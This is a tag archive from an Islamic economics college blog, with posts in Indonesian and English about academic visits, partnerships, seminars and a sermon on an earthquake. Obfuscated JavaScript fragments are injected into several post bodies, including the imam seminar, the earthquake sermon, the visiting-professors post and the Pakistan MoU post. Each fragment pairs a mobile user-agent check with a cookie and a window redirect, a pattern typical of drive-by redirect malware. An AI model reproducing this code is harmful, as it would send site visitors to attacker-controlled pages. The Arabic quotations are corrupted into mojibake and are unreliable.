All posts tagged: Ekonomi Islam

International Educational Trip to See Global Islamic Finance Practices

No comments

KSEI Progres STEI Tazkia has the opportunity to undertake one of the routine activities held annually, that is the International Educational-Trip program which is accountable by DEAR (Division of External and Affair Relationship) with brother Ahmad Dzaki Rabbani as the head of division. This program is in cooperation with the management of College of Islamic Economics Tazkia (STEI Tazkia) through the International Program represented by Mr. Muhammad Taqiyuddin Rahman.
On Monday, February 5th, 2018, KSEI Progres STEI Tazkia has visited one of the institutions located in Singapore, namely Muhammadiyah Islamic College of Singapore (MICS), which is one of the first Islamic universities in this state.
Singapore is a sovereign city-state and island country in Southeast Asia. It lies one degree north of the equator, at the southern tip of the Malay Peninsula, with Indonesiaa��s Riau Islands to the south and Peninsular Malaysia to the north. Singapore is the third leading financial center in the world and a cosmopolitan world city that plays an important role in international trade and finance. The Port of Singapore is one of the five busiest ports in the world.
Singapore has a long history of immigration. Its diverse population is 5 million, comprising Chinese, Malay, Indian, Asian descent, and Caucasian. About 42% of Singaporeans are foreigners who work and study there, while foreign workers account for 50% of the services sector.

In addition to this matter that quite interesting is the religious tolerance, religion in Singapore is characterized by a diversity of religious beliefs and practices because of a mixture of diverse ethnic communities originating from various countries. Major religious denominations are mostly present in Singapore. An analysis conducted by the Pew Research Center found that Singapore is the most diverse country in the world. Unlike the two neighboring countries, Indonesia and Malaysia, Islam is not a majority in Singapore. In the 2015 census, the largest number of followers in Singapore is Buddhism, which is 33% of Singaporea��s total population. Then Christianity 18.8%, Islam 14%.

MICS was founded by the Muhammadiyah Association (MA), a voluntary religious social organization founded in 1957. MICS is one of the many social arms the MA has set to meet the needs of society

Muhammadiyah Islamic College was established on April 15, 2000, in cooperation with the Muhammadiyah Association and IAIN Imam Bonjol, Padang. Located at 14 Jalan Selamat before moving to a new building in Lorong 13 Geylang in 2010. The first memorandum of understanding was signed in the auditorium of the Hasanah Mosque between the President of Ustaz Shaik Hussain Shaik Yacob and the Rector of IAIN Prof. Dr. Abdul Azais Dahlan, MA. The first program introduced was Daa��wah management.

Muhammadiyah Islamic College Singapore (MICS) can be regarded as the pioneer of the first post-secondary Islamic education institution in modern Singapore. MICS aspires to become the main provider of Islamic education at the Tertiary level.

Education at MICS serves as a bridge for a person in an advanced endeavor to actualize the principles and concepts of the Qura��an obtained in pursuit of a Certificate, Diploma or Degree. By doing so, these College graduates live and personify the spirit of the Qura��an and the life of Prophet Muhammad SAW. Some of these are the reason why KSEI Progres STEI Tazkia visit the MICS campus.

The International Educational-Trip activity was held from February 4th to February 12th, 2018. Singapore was the first stop of the trip and MICS was the first institution KSEI Progres STEI Tazkia visited.

The number of participants in this activity is 44 people, consisting of 42 students along with 2 lecturers from STEI Tazkia, among others are Mr. Muhammad Taqiyuddin Rahman as the representative of the STEI Tazkia International Program and Mr. Fakhrudin as the representative of the STEI Tazkia Student Affairs.

The event started with the opening from the Master of Ceremony and continued with remarks from Mr. Taqiyuddin as the representative of the STEI Tazkia and further remarks and presentations by Mr. Muhammad Ikhsanudin who is a representative of the MICS. He explained the history and development of Islam in Singapore, as well as the establishment of MICS and how it can still be exist until now even though the Islamic community in Singapore is a minority.

Lastly, the event was closed with the handover of souvenirs and taking group photos as well as the submission of a cooperation proposals in order to maintain a good relationship between STEI Tazkia and MICS.

By : present.kseiprogres.com

Rizqi ZakiyaInternational Educational Trip to See Global Islamic Finance Practices
read more

Magister Ekonomi Syariah STEI Tazkia gandeng INCEIF, Perkuat Kajian Kinerja.

No comments

Sentul City, Bogor Sabtu 10 Jumadil Awwal 1439 H / 27 Januari 2018. Pascasarjana Sekolah Tinggi Ekonomi Islam (STEI) Tazkia melaksanakan open house program Islamic Wealth Planning and Management Course. Program adalah kerjasama antara Magister Ekonomi Syariah STEI Tazkia denganInternational Centre For Education In Islamic Finance (INCEIF) Malaysia.Batch pertama program sudah dilaksanakan pada Bulan Februari hingga April 2017. Pembelajaran dilakukan melalui tutorial online juga kuliah tatap muka di INCEIF Kualumpur Malaysia. Peminat batch pertama luar biasa. Para mahasiswa sangat antusias mengikuti tutorial online melalui internet. Kuliah tatap muka dilaksanakan di Kampus INCEIF Lorong Universiti Kualalumpur. Dosen pengampu adalah associate profesor bidang Islamic Wealth Management INCEIF. Untuk mengevaluasi hasil pembelajaran, mahasiswa diberikan quiz, juga ujian akhir.

Sebagai salah satu bentuk peningkatan kerjasama, INCEIF membuka open house program di Kampus Pascasarjana STEI Tazkia. Open house adalah ajang bagi para mahasiswa untuk mengetahui kelebihan dan manfaat program buat mereka. Diharapkan dengan mengikuti program, para mahaiswa Magister Ekonomi Syariah TAZKIA memiliki keunggulan bersaing.

Kajian kinerja juga menjadi program unggulan Pascasarjana STEI Tazkia. Bersamaan dengan open house INCEIF, Pascasarjana bekerjasama dengan LPPM Tazkia melaunching Pusat Studi Kinerja (Centre ofA� Study on Islamic Organizational Performance, CSIOP).A� CSIOP memiliki program berupa kajian akademis rutin berkaitan dengan kinerja. Kajian kinerja yang menjadi perhatian CSIOP diantaranya: kinerja Perbankan Syariah, Asuransi Syariah, Pasar Modal Syariah, Koperasi Syariah, Perusahaan Korporasi, Pemerintahan Daerah, Manufacture, Pendidkan, NGO. Sebagai kajian awal, CSIOP mengundang Dr. Ascarya MBA sebagai peneliti senior di Bank Indonesia untuk memaparkan hasil penelitian tentang merancang indeks maqasid bank syariah.

Salah satu referensi diantara refrensi lain, yang digunakan oleh CSIOP dalam kaijannya, adalah Buku Maslahah Performa – Sistem Manajemen Kinerja Berbasis Kemaslahatan. Untuk itu, Pascasarjana STEI Tazkia juga melaunching program kerjasama penyaluran hasil penjualan buku Maslahah Performa pada program Wakaf Hasanah BNI Syariah. Diharapkan melalui program wakaf, hasil kajian dapat memberikan kemaslahatan bagi umat. Paling tidak, kemanfaatan CSIOP mulai dapat dirasakan oleh civitas academica STEI Tazkia. Mulai Bulan Januari 2018, STEI Tazkia menerapkan kinerja kemaslahatan. Seluruh civitas STEI Tazkia memiliki KPI yang terhubung baik dengan Rencana Strategis Institusi 2025 maupun jobdescription karyawan.

Rizqi ZakiyaMagister Ekonomi Syariah STEI Tazkia gandeng INCEIF, Perkuat Kajian Kinerja.
read more

Inspirasi Dakwah Global dari Imam besar New York, Dr. M. Syamsi Ali

No comments

STEI Tazkia, 6/5/1439 H, 25/01/2018 M. Kampus STEI Tazkia kembali mengadakan seminar inspirasi, kali ini STEI Tazkia menghadirkan Dr. M. Syamsi Ali, Imam Besar New York. Salah satu Tokoh Da’i yang paling berpengaruh di dunia Paman Sam.

Banyak hal yang beliau paparkan dalam sharing Session kali ini, diantaranya bagaimana sumber permasalahan ummat yang paling besar saat ini adalah kebodohan dan kemiskinan. Padahal Al Quran turun dengan semangat “Iqro'” dan “Jihad” dengan harta dan jiwa.

Maka solusi terbaik adalah kita harus peka dengan 3 hal yang sangat berpengaruh pada era modern ini; kecepatan, kompetisi, dan juga interconnected World (dunia yang saling berkaitan). Ummat Islam harus cepat menangkap peluang, terus berkembang mengembangkan kompetensi dalam kompetisi global, dan memanfaatkan kemudahan akses global yang ada pada masa kini.

Beliau juga memaparkan, betapa saat Islam ditekan, dipojokkan, justru dakwah Islam berkembang. Bahkan pasca kejadian 9-11 yang membuat marah dunia Barat, justru dapat dilihat semakin banyaknya populasi ummat Islam bertambah, bahkan mayoritas adalah keluarga terpelajar dengan pendapatan ekonomi menengah ke atas.
Bahkan beliau memaparkan tidak kurang dari 20.000 muallaf bertambah setiap tahunnya.

Dalam momen ini, diskusi hangat terjalin antara para pimpinan STEI Tazkia dan juga Dr. Syamsi Ali, bahkan potensi kerjasama Beasiswa murid muallaf Dr. Syamsi, untuk melanjutkan study di STEI Tazkia.
Di akhir sesi Dr. Murniati Mukhlisin, M.Acc. selaku Rektor STEI Tazkia berpesan agar kita mampu mengambil pelajaran dari pemaparan Dr. Syamsi Ali, dan seluruh Civitas STEI Tazkia, khususnya mahasiswa mampu menjadi penerus Dr. Syamsi dalam dakwah Global. c(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaInspirasi Dakwah Global dari Imam besar New York, Dr. M. Syamsi Ali
read more

Gempa, peringatan Alloh untuk kembali kepada Ekonomi Islam

No comments

Alloh Taa��ala mengingat kan kita dalam Q.S. As-Sajdah ayat 21 :

U?UZU�UZU�U?O�U?USU�UZU�U�UZU�U?U� U�U�U?U�UZ O�U�U�O?UZO�UZO�O?U? O�U�U�O?UZO?U�U�UZU�U� O?U?U?U�UZ O�U�U�O?UZO�UZO�O?U? O�U�U�O?UZU?U�O?UZO�U? U�UZO?UZU�U�UZU�U?U�U� USUZO�U�O�U?O?U?U?U�UZ} [O�U�O?O�O?O� : 21]

_a�?Dan Sesungguhnya Kami merasakan kepada merekaA�sebahagian azab yang dekat (di dunia)A�sebelum azab yang lebih besar (di akhirat),A�mudah-mudahan mereka kembali (ke jalan yang benar)a�?_

Musibah di dunia adalah peringatan, agar kita kembali menjalankan perintah Alloh. Termasuk perintah untuk menjalankan Ekonomi Islam sebagai ilmu dan amal yang paling banyak dilupakan saat ini oleh mayortas Muslim di Indonesia Khususnya.

RasulullahA�Shalallahu a�?alaihi wasallamA�bersabda :

A�O?U?O�UZO� O?UZU�UZO�UZ O�U�O?U�U?U�UZO� U?UZO�U�O�U�U?O?UZO� U?U?U�U� U�UZO�U�USUZO�U? U?UZU�UZO?U� O?UZO�UZU�U�U?U?U�O� O?U?O?UZU�U�U?U?O?U?U�U?U�U� O?UZO�UZO�O?UZ O�U�U�U�U? (O�U?O�U� O�U�O�O�U?U� )

_a�?Apabila telah nampakA�zina dan riba di suatu penduduk wilayah, maka merekaA�telah mempersiapkan diri untuk mendapat Adzab Alloha�? H.R. Hakim_

Oleh karenanya mari kembali ke Ekonomi Islam, Kembalilah kepada Ekonomi Fitrah kita dengan :
1.A�Pelajari Ekonomi IslamA�dari berbagai sumber, bahkan dalami dari berbagai kajian, majlis ilmu juga termasuk mengikuti perkuliahan Ekonomi Islam.
2.A�Perbanyak sedekah sebagai kafarat dosa kita.
3.A�Mulai berbisnis sesuai syariah dengan bijak melihat maslahat kita dan tempat yang kita beli.

Dan segala upaya lain untuk mewujudkan niat kuat kita,A�bahwa kita adalah orang yang kembali pada syariat Alloh. Semoga dengan itu, Alloh ampuni kita dan menahan murka Nya pada kita bahkan memaafkan semua kesalahan kita dunia dan akhirat.

Mari kembali ke Ekonomi Syariah.

p(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaGempa, peringatan Alloh untuk kembali kepada Ekonomi Islam
read more

Studium General Program Studi Hukum Ekonomi Syariah (Muamalah) Sejarah Hukum Ekonomi Syariah di Dunia Melayu

1 comment

Perkembangan Ekonomi Syariah yang terus meningkat, hal ini terbukti dengan meningkatnya jumlah lembaga keuangan syariah serta berbagai layanan sosial yang berbasis syariah. Kebangkitan awal dari ekonomi Islam ditandai dengan berkembangnya lembaga keuangan syariah, minimal sejak tahun 1992. Sejak tahun 2017 ekonomi syariah telah memasuki periode kedua yaitu kebangkitan ekonomi syariah pada sektor real. Hal ini ditandai dengan berkembangnya secara pesat Koperasi 212 di seluruh wilayah Indonesia.

Sebagai wilayah yang kaya dengan berbagai sumber daya alam, Indonesia adalah lahan subur bagi perkembangan ekonomi syariah. Selain itu, Indonesia juga kaya dengan sejarah masa lalu yang telah mencapai mercu suar kebangkitan Islam khususnya dalam masalah hukum ekonomi syariah.
Kajian dan diskusi mengenai sejarah hukum ekonomi syariah belum banyak dilakukan oleh para peneliti, seolah-olah ia hanya berita masa lalu yang tidak penting untuk dikaji. Padahal sebuah pepatah lama menyatakan a�?Hana Nguni Hana Mangke, Tan Hana Nguni Tan Hana Mangkea�?, maksudnya adalah bahwa adanya hari ini adalah karena adanya masa lalu demikian pula adanya masa depan adalah karena adanya hari ini. Maka ketika hukum ekonomi syariah saat ini sedang mengalami pertumbuhan, maka sejatinya ia juga telah mengalami masa puncak kejayaan khususnya pada masa kejayaan Kesultaan di Indonesia dan juga di dunia melayu.
Salah satu dari fakta sejarah yang ada diantaranya adalah Kesultanan Banten. Kesultanan ini telah memiliki Mata Uang Sendiri, mengangkat seorang Syahbandar sebagai Wilayah Hisbah di Pasar, menjadikan Qadhi sebagai Hakim dalam Sengketa Ekonomi Syariah dan Sistem Ekonomi Syariah yang menjadi bagian tak terpisahkan dari Kesultanan. Maka, Gilang-gemilang Hukum Ekonomi Syariah pada masa lalu menjadi Kaca Benggala bagi generasi setelahnya.
Melihat fakta ini maka STEI Tazkia melalui Program Studi Hukum Ekonomi Syariah (Muamalah) mengadakan Studium General yang mendiskusikan mengenai Sejarah Hukum Ekonomi Syariah di Dunia Melayu). Tidak tanggung-tanggung, Studium General ini menghadirkan pakar sejarah pemikiran Islam dari Universiti Sains Malaysia yaitu Prof. Dr. Mohammad Mozzamil Mohammad Noor yang mempresentasikan mengenai pentingnya sejarah bagi generasi masa kini. Jika ekonomi Islam ingin berkembang maka mau tidak mau harus melihat bagaimana kejayaan Kesultanan Islam di Dunia Melayu khususnya dalam bidang ekonomi. Ia juga menyatakan bahwa Studium General ini sangat penting karena akan membuka mata dunia bahwa ekonomi syariah sejatinya telah ada di Nusantara ini, bahkan ia telah berjaya membawa kemakmuran wilayah ini.
Pembicara kedua yaitu Dr. Abdurrahman Misno BP, MEI lebih detail menjelaskan salah satud ari bukti sejarah yang selama ini ditutup-tutupi oleh penjajah yaitu kegemilangan ekonomi Islam di Kesultanan Banten. Ketua Program Studi Muamalah ini memberikan data-data tidak terbantahkan mengenai hukum ekonomi syariah yang telah ada dan berjaya di Kesultanan Banten. Beliau juga berharap kajian mengenai Sejarah Hukum Ekonomi Syariah harus terus dilanjutkan sebagai bentuk membumikan ekonomi Syariah di dunia Melayu.
Acara yang dihadiri oleh mahasiswa STEI Tazkia, Praktisi hukum Ekonomi Syariah dan masyarakat umum berjalan dengan hangat. Kami berharap studium general seperti ini akan sering dilakukan oleh berbagai prodi yang ada di STEI Tazkia. Harapan ini langsung diamini oleh ketua panitia, Akh Sirril Wafa menyatakan bahwa Prodi Muamalah telah berazam untuk menjadi pionner dalam kajian dan studi hukum Ekonomi Syariah. Setiap pekan kami akan membuat program untuk kajian dan diskusi mengenai muamalah. Insya Allah pada tanggal 20 Januari juga akan dilaksanakan Workshop Penyelesaian Sengketa Waris, seteah itu akan berlanjut dengan workshop, training dan sosialisaisi lainya. (ambp).

Rizqi ZakiyaStudium General Program Studi Hukum Ekonomi Syariah (Muamalah) Sejarah Hukum Ekonomi Syariah di Dunia Melayu
read more

Appointment of two respected Visiting Professors for International Program of Tazkia University College in Islamic Economics

No comments

STEI Tazkia has signed an agreement with Professor Toseef Azid from College of Business and Economics University of Qassim, Saudi Arabia to be visiting Professor in Islamic Economics and Finance started from first semester 2017/2018. The agreement was friendly signed in the residency of Prof Toseef Azid in Rawalpindi, a city in the Punjab province of Pakistan.

Right after the agreement was signed in Pakistan, the Rector of Tazkia, Dr. Murniati Mukhlisin and the Director for Tazkia International Program, Anita Priantina, M.Ec were invited to be presenters at Thematic Workshop on Enhancing Poora��s Capability and Financial Inclusion From Islamic Perspective (TWoEPC 2017) in Islamabad Pakistan from 11th to 12th December 2017.

The agreement of Visiting Professor Assignment was also signed separately by Professor Khaleed Hussainey from The University of Portsmouth, England, UK. His expertise is on Islamic Accounting and Islamic Finance.

As the mandate of the assignment, Prof Azid and Prof Hussainey will teach courses related to their related fielda. They will also provide coaching and supervision for Tazkia lecturers especially in writing academic papers so to increase the exposure in the international academic journals and other international academic publications.

w|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaAppointment of two respected Visiting Professors for International Program of Tazkia University College in Islamic Economics
read more

MoU signing between Tazkia University College of Islamic Economics and International Institute of Islamic Economics, International Islamic University Islamabad, Pakistan

No comments

Tazkia University College of Islamic Economics has signed the Memorandum of Understanding with International Institute of Islamic Economics (IIIE), International Islamic University (IIU) Islamabad, Pakistan on 12 December 2017/ 23 Rabiul Awwal 1439H. The Parties, subject to the terms of this Memorandum of Understanding and the laws, rules, regulations and national policies from each country will endeavor to strengthen, promote and develop academic co-operation between the Parties on the basis of equality and mutual benefit.

The MoU was signed by Dr. Murniati Mukhlisin, M.Acc, the Rector of Tazkia, in the presence of Deny Try Basuki, the Counselor of Socio-Cultural Affairs of Indonesian Embassy Islamabad. From IIE, the MoU was signed by Dr. Atiquzzafar Khan, the General Director of IIIE in the presence of Dr. Muhammad Khaleequzzaman, Head of Training and Seminars, School of Islamic Banking and Finance, IIU Islamabad, Pakistan.

The co-operation ranges in the following areas: exchange of staff and student, exchange of publications; research collaboration, joint seminar, conference and workshop, programs of integrated knowledge and practical training and short courses to enhance academic curriculum, sandwich program offered by IIIE and Tazkia; and any other areas of co-operation to be mutually agreed upon by the Parties. This MoU is an umbrella to be expanded by both parties to work on academic and research advancement.

The MoU signing was taken place in Faizal Masjid, old campus of IIUI Pakistan right after the closing ceremony of the Thematic Workshop on Enhancing Poora��s Capability and Financial Inclusion from Islamic Perspective (TWoEPC 2017) in Islamabad Pakistan from the 11th to 12th December 2017 which was jointly organized by IIE-IIU Islamabad in collaboration with IRTI-IDB.

On this International workshop, the Rector of Tazkia, Dr. Murniati Mukhlisin and the Director for Tazkia International Program, Anita Priantina, M.Ec were invited to present their research papers on enhancing poora��s capability and financial inclusion. pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaMoU signing between Tazkia University College of Islamic Economics and International Institute of Islamic Economics, International Islamic University Islamabad, Pakistan
read more

Dari Vatikan Hingga Turki, STEI Tazkia Berbagi Pengalaman Penerapan Ekonomi Syariah

No comments

Ekonomi Syariah merupakan satu disiplin ilmu yang booming dewasa ini, lebih dari 70 Negara mengembangkan Ekonomi Syariah dengan potensi karir yang mentereng di berbagai belahan dunia. Lebih dari 400 lembaga di dunia menawarkan layanan keuangan syariah.

Kampus STEI Tazkia sebagai kampus pelopor Ekonomi Syariah berperan aktif untuk berbagi pengalaman penerapan keuangan syariah di Indonesia. adalah Dr. Muhammad Syafii Antonio, M.Ec. Pembina Yayasan Tazkia Cendekia mendapat kesempatan mengisi tema pengembangan Ekonomi Syariah di berbagai belahan dunia, termasuk diantaranya di Vatikan sebagai Negara penganut kristiani yang taat. Vatikan tertarik dengan Ekonomi Syariah, karena Ekonomi Syariah senada dengan pelarangan Riba yang juga dilarang dalam Bible, Lukas Pasal 6 ayat 34-35 juga ayat lainnya.

Dr. Muhammad Syafii Antonio, M.Ec. (Pembina STEI Tazkia) Berbagi Pengalaman Penerapan Keuangan Syariah di Universitas Pontifikal Santo Thomas Aquinas, Vatikan

Alumni STEI Tazkia juga telah melanglang buana menyuarakan penerapan keuangan Syariah di Belahan dunia lain. Diantaranya Bazari Azhar, S.E.I. (Alumni Ekonomi Syariah) yang mendapat beasiswa LPDP di Durham University mendapat kesempatan berbagi riset penerapan Keuangan Mikro Syariah Indonesia di Sejong University, Korea Selatan. Mahbubi Ali, P.Hd. (Alumni Bisnis Manajemen Syariah) juga mendapat kehormatan menjadi pemateri bersama Ketua STEI Tazkia Dr. Murniati Mukhlisin, M.Acc. dalam International Conference on Islamic Perspective of Accounting, Finance, Economics and Management (IPAFEMA�2017) di Turki, juga banyak alumni lain yang berkontribusi dalam pengembangan Ekonomi Syariah di Dunia.

Mahbubi Ali (Alumni Bisnis Manajemen Syariah) IPAFEM, Turki

Bazari Azhar (Alumni Ekonomi Syariah) di Sejong University, Korea Selatan

Potensi pengembangan Ekonomi Syariah di dunia terbuka sangat lebar. Dengan karakter keilmuan Ekonomi Syariah yang menuntut penguasaan dua disiplin Ilmu; Ekonomi Umum dan Nilai-Nilai Syariah (Transparansi, Kejujuran, Profesionalism dll). Menjadikan Ekonomi Syariah opsi terbaik masa depan Ekonomi Dunia.

Selain Ekonomi Islam, STEI Tazkia juga memiliki Jurusan Bisnis Manajemen Islam, Akuntasi Islam, Hukum Bisnis Islam, Pendidikan Islam, juga Program Khusus Kerjasama dengan Fakultas Teknik Universitas Indonesia. Dengan berbagai prestasi Tingkat Nasional & Global, Mahasiswa STEI Tazkia juga mengukir banyak pencapaian yang menjadi kebanggan Generasi remaja saat ini.

Dengan semua pilihan jurusan tersebut, diharapkan STEI Tazkia mampu memfasilitasi seluruh mahasiswa STEI Tazkia semakin matang menjadi Pebisnis dan Intelektual Tingkat Global di Kemudian Hari.

Kunjungi web kami spmb.tazkia.ac.id untuk pendaftaran mahasiswa STEI Tazkia dan bergabung mewarnai dunia dengan Ekonomi Syariah.

Rizqi ZakiyaDari Vatikan Hingga Turki, STEI Tazkia Berbagi Pengalaman Penerapan Ekonomi Syariah
read more